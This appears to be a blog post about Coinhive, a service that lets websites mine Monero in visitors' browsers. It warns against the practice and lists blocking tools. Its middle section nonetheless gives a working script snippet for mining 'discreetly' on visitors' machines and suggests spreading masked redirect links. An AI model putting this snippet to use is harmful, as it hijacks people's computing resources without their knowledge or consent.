Forcing Website Visitors to Mine Cryptocurrency with Coinhive

View this thread on: d.buzz | hive.blog | peakd.com | ecency.com
·@fiserman·
0.000 HBD
Forcing Website Visitors to Mine Cryptocurrency with Coinhive
http://s1.1zoom.net/big3/596/346951-admin.jpg
With Adsense earnings in the dumps, some webmasters are finding alternative means to make money with their web traffic. Selling products and services is the more typical route that most take, but some are resorting to forcing users to mine cryptocurrencies using their web browser.

It is not a new concept as it was done in the past, with Javascript-based miners to mine Bitcoin, but it has resurfaced as CPU & GPU mining has become viable once again with altcoins. [Coinhive](https://coin-hive.com) is the hottest implementation of this concept and it mines XMR instead of Bitcoin to maximize efficiency.

For users that quickly bounce off of a page after 30 seconds, it is not so profitable. For web applications or engaging content, on the other hand, it may be snuck in so that users will sit for several minutes, perhaps even hours, mining currency in the background.

<h2>Why It's Not A Good Idea To Use Coinhive</h2>
For most users with not-so-great computers, they will notice the website being super choppy and their CPU and GPU loaded at 100%. Computers may be loaded to the point that damages its hardware. This will obviously raise some red flags and upon inspection of your website's source, your /lib/coinhive.min.js  may be exposed and your reputation ruined.This is exactly what happened to the developer of e-celebrity Ice Poseidon's website, who snuck in currency within a web application, and [now the users are tarnishing his reputation on the front page of Reddit.](https://www.reddit.com/r/Ice_Poseidon/comments/71ee0t/lets_show_rall_the_biggest_scammer_in_the/)

<h2>How To Implement It</h2>
If you are curious or believe you have a way to get away with stealing your users' CPU & GPU resources, here are a few methods to implement it within your website:

<h3>Embedded Javascript</h3>
Place this script, or something similar, in webpages where you want to mine discreetly:


```
<script src="https://coin-hive.com/lib/coinhive.min.js"></script>
<script>
               var miner = new CoinHive.Anonymous('<site-key>');
               miner.start();
</script>
```
- For "<site-key>", make sure to place the key found in your account's Settings page.

If you use a self-hosted Wordpress site, for example, you may place the code in a Custom HTML widget.

<h3>URL Redirection</h3>
Much like paid URL redirection services, like Adfly, Coinhive allows you to create short links with a delay so that it may mine XMR for a moment before the user is redirected. Instead of a set time in seconds, the user will have to solve a minimum amount of hashes, so faster computers will be redirected first. Sharing masked URL redirection links on forums and Reddit may be a method of spreading it.

<h3>Proof Of Work "Captcha"</h3>
Instead of trying to type out hard to read words or clicking on images of cars to access a site, this widget will simply force users to use computing resources in order to pass its "Captcha".
Read more about the implementation of Coinhive captcha [here.](https://coin-hive.com/documentation/captcha)


<h2>How To Stop Browser Mining</h2>
Using Firefox plugins like NoScript or QuickJava will allow you to completely disable scripts and render hidden miners useless. Unfortunately, this may also completely disable the functionality of most websites, so it must be directly targeted. The [No Coin extention](https://ker.af/stop-coin-mining-in-the-browser-with-no-coin/) was created specifically for this purpose and other add-ons are likely to follow. It is currently available for Chrome but a Firefox extension is supposedly coming soon.
👍 , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ,